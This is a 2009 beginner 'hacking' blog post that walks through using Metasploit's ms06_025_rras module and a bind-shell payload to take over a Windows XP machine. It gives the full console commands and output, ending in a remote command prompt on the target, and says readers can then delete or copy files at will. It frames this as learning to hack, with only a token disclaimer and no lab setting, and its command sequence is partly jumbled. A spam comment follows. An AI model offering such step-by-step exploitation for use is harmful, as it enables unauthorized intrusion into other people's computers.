Hacking for Beginners seriers: Hacking Windows XP

Wednesday, July 8, 2009

Welcome to the Hacking for Beginners Series. Tried to become a hacker and did not know where to begin? You've come to the right place...
So Now we set up your hacker PC. I call it so because this computer is gonna be your battlefield where you shall learn the art of hacking and maybe ( if you want to ) become a great hacker.

So first you need to download metasploit.
Now what the hell is that? ( You'd Probably say )
Well it is a free downloadable tool that makes hacking ( preliminary ) easy as a cake.
You should download the windows installer here.

So now you've downloaded the file, what next?
Install it....
Now you've got a metasploit on your start menu.
Find the msfconsole.
Click on it.
You will see something like this:
















now type show exploits
You'll see something like the one below. Actually metasploit has exploits written into it. These are the vulnerabilities already found out by the makers.
















Now we have to find the RRAS exploit. It is called ms06_025_rras
Now we type in:
msf > use ms06_025_rras
msf exploit(ms06_025_rras) >
Notice how the prompt changes and becomes something like the above line.

Different exploits have different options. Now we setup the exploit options.
Type in show options and you'll see something like this:


msf exploit(ms06_025_rras) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)


This exploit requires a target address, the port number SMB (server message block)
uses to listen, and the name of the pipe exposing this functionality.

msf exploit(ms06_025_rras) > set RHOST 192.168.1.220
RHOST => 192.168.1.220

The payload:
This is the thing that metasploit does after you've hacked the computer.
So we load a payload now into the exploit. We type in show payloads.

msf exploit(ms06_025_rras) > show payloads
Compatible payloads
===================
...
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline
windows/shell_bind_tcp_xpfw Windows Disable Windows ICF, Command
Shell, Bind TCP Inline
windows/shell_reverse_tcp Windows Command Shell, Reverse TCP
Inline
...

We will use the bind shell. This will give access to all operation on the PC. You must've seen command prompt ( the DOS thingy ).
So type in :
msf exploit(ms06_025_rras) > set PAYLOAD shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp

Then again we need to setup the options for the payload.
msf exploit(ms06_025_rras) > show options

Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.220 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
Payload options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port

Everything set:

The exploit and payload are both set. Next we need to set a target type.Metasploit has
some generic exploits that work on all platforms, but for others you’ll need to specify a
target operating system.

msf exploit(ms06_025_rras) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 SP4
1 Windows XP SP1
msf exploit(ms06_025_rras) > set TARGET 1
TARGET => 1

You have set the target.
Lets kickstart the exploit!!!
msf exploit(ms06_025_rras) > exploit
msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms06_025_rras) > exploit
[*] Started bind handler
[*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_
np:192.168.1.220[\SRVSVC] ...
[*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_
np:192.168.1.220[\SRVSVC] ...
[*] Getting OS...
[*] Calling the vulnerable function on Windows XP...
[*] Command shell session 1 opened (192.168.1.113:2347 -> 192.168.1.220:4444)


Here is the command prompt below of the hacked system. You can now delete , copy files or do anything with it......


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\SAFE_NT\system32>echo w00t!
echo w00t!
w00t!
D:\SAFE_NT\system32>

Safe hacking!!!

Warning : The above article is for educational purposes only. Use it at your own risk. The author is not responsible for any damage whatsoever casued by its use.


1 comments:

Onion Insights said...

Hi

We are following up on our invitation to you to sign up as a OI Mystery Shopper. Is there any specific question you have or any doubt that we could clarify for you? www.sassieshop.com/2eyp is the login website. In case of any difficulties signing up, give us a call on +919769781001 or shoot us an email at support@onioninsights.com.
Hoping to hear from you soon.


Regards,
OI Team – Mumbai

Aspiring Teens : money music love. 2008 One Winged Angel.Bloggerized by : GosuBlogger